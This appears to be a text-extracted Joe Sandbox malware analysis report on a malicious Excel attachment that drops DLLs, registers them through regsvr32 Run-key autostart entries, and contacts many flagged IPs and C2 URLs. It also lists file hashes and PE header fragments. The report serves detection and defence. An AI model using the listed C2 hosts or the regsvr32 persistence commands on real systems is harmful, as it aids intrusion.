00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false URL Reputation: safe unknown

crl.entrust.net/server1.crl0 regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false high

URLs from Memory and Binaries
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ocsp.entrust.net03 regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false URL Reputation: safe unknown

https://173.255.211.88/owewlpmufrqxtxj/ regsvr32.exe, 0000000F.00000002.13801973
52.00000000003CD000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000F.00000002.1380165068.00000000003B800
0.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn
/lupq/B

regsvr32.exe, 00000009.00000003.10990076
20.00000000002E8000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: malware unknown

crl.pkioverheid.nl/DomOrganisatieLatestCRL-
G2.crl0

regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false URL Reputation: safe unknown

Name Source Malicious Antivirus Detection Reputation

Copyright Joe Security LLC 2022 Page 14 of 40



www.diginotar.nl/cps/pkioverheid0 regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false URL Reputation: safe unknown

https://182.162.143.56/urupsapzfmrxqv/zW regsvr32.exe, 0000000C.00000003.12686120
65.000000000024E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000C.00000003.1268731630.000000000024E00
0.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: malware unknown

ocsp.entrust.net0D regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false URL Reputation: safe unknown

Name Source Malicious Antivirus Detection Reputation
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https://secure.comodo.com/CPS0 regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false high

crl.entrust.net/2048ca.crl0 regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
00000000024E000.00000004.00000020.000200
00.00000000.sdmp, regsvr32.exe, 0000000C
.00000002.1271899328.0000000000261000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000003.12898455
08.000000000035E000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
000D.00000003.1289648788.000000000034900
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000D.00000002.1292573134.000
0000000349000.00000004.00000020.00020000
.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation

World Map of Contacted IPs
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No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

110.232.117.186 unknown Australia 56038 RACKCORP-
APRackCorpAU

true

103.132.242.26 unknown India 45117 INPL-IN-
APIshansNetworkIN

true

104.168.155.143 unknown United States 54290 HOSTWINDSUS true

79.137.35.198 unknown France 16276 OVHFR true

45.118.115.99 unknown Indonesia 131717 IDNIC-CIFO-AS-
IDPTCitraJelajahInformatika
ID

true

172.104.251.154 unknown United States 63949 LINODE-APLinodeLLCUS true

115.68.227.76 unknown Korea Republic of 38700 SMILESERV-AS-
KRSMILESERVKR

true

81.68.152.197 ly.yjlianyi.top China 45090 CNNIC-TENCENT-NET-
APShenzhenTencentComp
uterSystemsCompa

false

163.44.196.120 unknown Singapore 135161 GMO-Z-COM-THGMO-
ZcomNetDesignHoldingsCo
LtdSG

true

206.189.28.199 unknown United States 14061 DIGITALOCEAN-ASNUS true

45.63.99.23 unknown United States 20473 AS-CHOOPAUS true

107.170.39.149 unknown United States 14061 DIGITALOCEAN-ASNUS true

197.242.150.244 unknown South Africa 37611 AfrihostZA true

185.4.135.165 unknown Greece 199246 TOPHOSTGR true

183.111.227.137 unknown Korea Republic of 4766 KIXS-AS-
KRKoreaTelecomKR

true

45.176.232.124 unknown Colombia 267869 CABLEYTELECOMUNICA
CIONESDECOLOMBIASAS
CABLETELCOC

true

139.59.56.73 unknown Singapore 14061 DIGITALOCEAN-ASNUS true

169.57.156.166 unknown United States 36351 SOFTLAYERUS true

175.98.167.165 datie-tw.com Taiwan; Republic of China 
(ROC)

9924 TFN-
TWTaiwanFixedNetworkTel
coandNetworkServiceProvi

false

164.68.99.3 unknown Germany 51167 CONTABODE true

139.59.126.41 unknown Singapore 14061 DIGITALOCEAN-ASNUS true

167.172.253.162 unknown United States 14061 DIGITALOCEAN-ASNUS true

Public IPs
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147.139.166.154 unknown United States 45102 CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCo
LtdC

true

202.129.205.3 unknown Thailand 45328 NIPA-AS-
THNIPATECHNOLOGYCO
LTDTH

true

167.172.199.165 unknown United States 14061 DIGITALOCEAN-ASNUS true

153.92.5.27 unknown Germany 47583 AS-HOSTINGERLT true

159.65.140.115 unknown United States 14061 DIGITALOCEAN-ASNUS true

159.65.88.10 unknown United States 14061 DIGITALOCEAN-ASNUS true

172.105.226.75 unknown United States 63949 LINODE-APLinodeLLCUS true

164.90.222.65 unknown United States 14061 DIGITALOCEAN-ASNUS true

213.239.212.5 unknown Germany 24940 HETZNER-ASDE true

5.135.159.50 unknown France 16276 OVHFR true

173.255.211.88 unknown United States 63949 LINODE-APLinodeLLCUS true

212.24.98.99 unknown Lithuania 62282 RACKRAYUABRakrejusLT true

186.194.240.217 unknown Brazil 262733 NetceteraTelecomunicacoe
sLtdaBR

true

91.187.140.35 unknown Serbia 13092 UB-ASRS true

119.59.103.152 unknown Thailand 56067 METRABYTE-
TH453LadplacoutJorakhaeb
uaTH

true

159.89.202.34 unknown United States 14061 DIGITALOCEAN-ASNUS true

201.94.166.162 unknown Brazil 28573 CLAROSABR true

160.16.142.56 unknown Japan 9370 SAKURA-
BSAKURAInternetIncJP

true

103.75.201.2 unknown Thailand 133496 CDNPLUSCOLTD-AS-
APCDNPLUSCOLTDTH

true

91.207.28.33 unknown Kyrgyzstan 39819 PROHOSTKG true

103.43.75.120 unknown Japan 20473 AS-CHOOPAUS true

188.44.20.25 unknown Macedonia 57374 GIV-ASMK true

45.235.8.30 unknown Brazil 267405 WIKINETTELECOMUNICA
COESBR

true

153.126.146.25 unknown Japan 7684 SAKURA-
ASAKURAInternetIncJP

true

72.15.201.15 unknown United States 13649 ASN-VINSUS true

82.223.21.224 unknown Spain 8560 ONEANDONE-
ASBrauerstrasse48DE

true

173.212.193.249 unknown Germany 51167 CONTABODE true

47.92.35.35 sbm.xinmoshiwang.com China 37963 CNNIC-ALIBABA-CN-NET-
APHangzhouAlibabaAdverti
singCoLtd

false

95.217.221.146 unknown Germany 24940 HETZNER-ASDE true

41.63.0.22 copunupo.ac.zm Zambia 37532 ZAMRENZM false

149.56.131.28 unknown Canada 16276 OVHFR true

209.97.163.214 unknown United States 14061 DIGITALOCEAN-ASNUS true

182.162.143.56 unknown Korea Republic of 3786 LGDACOMLGDACOMCorp
orationKR

true

1.234.2.232 unknown Korea Republic of 9318 SKB-
ASSKBroadbandCoLtdKR

true

129.232.188.93 unknown South Africa 37153 xneeloZA true

94.23.45.86 unknown France 16276 OVHFR true

IP Domain Country Flag ASN ASN Name Malicious

Joe Sandbox Version: 36.0.0 Rainbow Opal

Analysis ID: 745330

Start date and time: 2022-11-14 08:04:35 +01:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 33s

Hypervisor based Inspection enabled: false

Report type: light

General Information
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Sample file name: RechX2022.11.11_1045X.xls

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 
4.6.2)

Number of analysed new started processes 
analysed:

16

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winXLS@18/17@4/58

EGA Information: Successful, ratio: 100%

HDC Information: Successful, ratio: 67.7% (good quality ratio 59.1%)
Quality average: 65.5%
Quality standard deviation: 35.1%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .xls
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
TCP Packets have been reduced to 100
Report creation exceeded maximum time and may have missing d isassembly code information.
Report size exceeded maximum capacity and may have missing b ehavior information.
Report size exceeded maximum capacity and may have missing d isassembly code.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.

Time Type Description

08:05:34 API Interceptor 15x Sleep call for process: regsvr32.exe modified

08:06:50 Autostart Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run TzrBJWzmduQmnx.dll C:\Windows\sy
stem32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll"

08:06:58 Autostart Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run rgLdvmpYAAMw.dll C:\Windows\syst
em32\regsvr32.exe "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll"

08:08:07 Autostart Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run DkEI.dll C:\Windows\system32\regsvr32.exe 
"C:\Windows\system32\HXVNCiWla\DkEI.dll"

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains
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⊘ No context

⊘ No context

⊘ No context

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773040587462974

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uM:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: B88BE642EA7E4F9AD82B5D843EDF0EC1

SHA1: 25FD3517B996858E28CB6CEE21EA17C528192ED6

SHA-256: 7738D0B8B7C927CA3A92AA49988E2D8BB9BCFA67C09AAA139AE4289F35191708

SHA-512: 8635936E878D2839463E7ADB2CD1CBB7B3C0D842D922355D8F281DD4E70A94D5A67222FD8C795A9F1A021EC7A75B78018E5F33B059B5A684BB625930B7A391E
C

Malicious: true

Antivirus: Antivirus: Metadefender, Detection: 10%, Browse

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773063357716462

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uw:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: DD7105E9748A29B5BD61EA57214D57E3

SHA1: 827B323BDA769BA7FB838A231AA4160209266B14

SHA-256: C987AD0CC79B598BDEE9EC7DA96B07E82A04CADD73CB3CAF85B799731DEEF9A1

SHA-512: BECA102422697E4CD50B81289BDC5097935F11C0C5ACC86B7A69893FB819A3CD225E4B2594A2BB40163FBD68D7AC281B0FF260F30B55CF188112445EB26986B7

Malicious: true

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\2yXcjy57oZTTUNweDidCGUY[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1]

.dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll
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Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.7730613530277655

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uz:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: 3929B889987F447CB837ED326860AFC6

SHA1: 9BB1A7622F2BC5A6A51487434A77F395DE5E50D7

SHA-256: B2AA99DEF35F913B42B882122C8DD5F72CEEAB82F6747F1B659C8632CD6EB902

SHA-512: EF4DB4F06EE1F85AB96AA70FC5DD05A062DA6A5D13F9A643AFE471F6FDC9FEA62FF39F3C951286B7A865C66C53E0E73FD84E2E5030E1843F24FE014CE7BA97
15

Malicious: true

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.7730613530277655

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uz:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: 3929B889987F447CB837ED326860AFC6

SHA1: 9BB1A7622F2BC5A6A51487434A77F395DE5E50D7

SHA-256: B2AA99DEF35F913B42B882122C8DD5F72CEEAB82F6747F1B659C8632CD6EB902

SHA-512: EF4DB4F06EE1F85AB96AA70FC5DD05A062DA6A5D13F9A643AFE471F6FDC9FEA62FF39F3C951286B7A865C66C53E0E73FD84E2E5030E1843F24FE014CE7BA97
15

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773063357716462

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uw:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: DD7105E9748A29B5BD61EA57214D57E3

SHA1: 827B323BDA769BA7FB838A231AA4160209266B14

SHA-256: C987AD0CC79B598BDEE9EC7DA96B07E82A04CADD73CB3CAF85B799731DEEF9A1

SHA-512: BECA102422697E4CD50B81289BDC5097935F11C0C5ACC86B7A69893FB819A3CD225E4B2594A2BB40163FBD68D7AC281B0FF260F30B55CF188112445EB26986B7

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 28672

Entropy (8bit): 3.356544588031615

Encrypted: false

C:\Users\user\AppData\Local\Temp\AAA2.tmp (copy)

C:\Users\user\AppData\Local\Temp\D116.tmp (copy)

C:\Users\user\AppData\Local\Temp\~DF32588C8EB2A3FE52.TMP
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SSDEEP: 768:Mm9gKpb8rGYrMPe3q7Q0XV5xtezEs/68/dgA+K:QKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgc

MD5: 70F63F551CE34CAD4DAFE88FCFF1AB22

SHA1: B781BEB7355273ABC8A127A5036CE4D719BA10CD

SHA-256: 57D4A63933D23F6B3AD127BB2C6A38FF2628C77FC6A11D73C3E5D359EBCC2B4B

SHA-512: 6F21B4C3C0D404EC016310D9006EE635D1ED19AEDFFB4D21622F7E82702C54190EBDDA7F6690E6ABF328B2C9C96EDD647BF246F8FB8D27F2BA932BDF722E4B
50

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34
BFE

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Gydar, Last Saved By: Gydar, Name of Creating Applicatio
n: Microsoft Excel, Create Time/Date: Fri Jun  5 19:19:34 2015, Last Saved Time/Date: Thu Nov 10 07:26:07 2022, Security: 0

Category: dropped

Size (bytes): 93184

Entropy (8bit): 5.507425525289632

Encrypted: false

SSDEEP: 1536:tKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgHbCXuZH4gb4CEn9J4ZnXc:tKpb8rGYrMPe3q7Q0XV5xtezEsi8/dg4

MD5: 679267CCBC310E7718A1FD2937C87EE4

SHA1: 6A3163CDA525504FF2B529FAF3E8529C2B9CA7F1

SHA-256: 8DBB08BEBAB1C89574AB8F202172525DB889A984AFEF34D36AD61EA9359C8AA7

SHA-512: 951519299580E2204B66F5CB11966F32D8006F27E27D6BE95B72CC6D554B8DA49769DF61D7EE5DBCDEB48534269D79310954E4F2EBC1A705B8C1A4DC5399AAB
A

Malicious: false

Preview: ......................>.......................................................................................................................................................................................................................................................
........................................................................................................................................................................................................................................................ZO..........
................\.p....user                                                                                                        B.....a.........=.....................................................=........P..8.......X.@..........."....
...................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Gydar, Last Saved By: user, Name of Creating Application: 
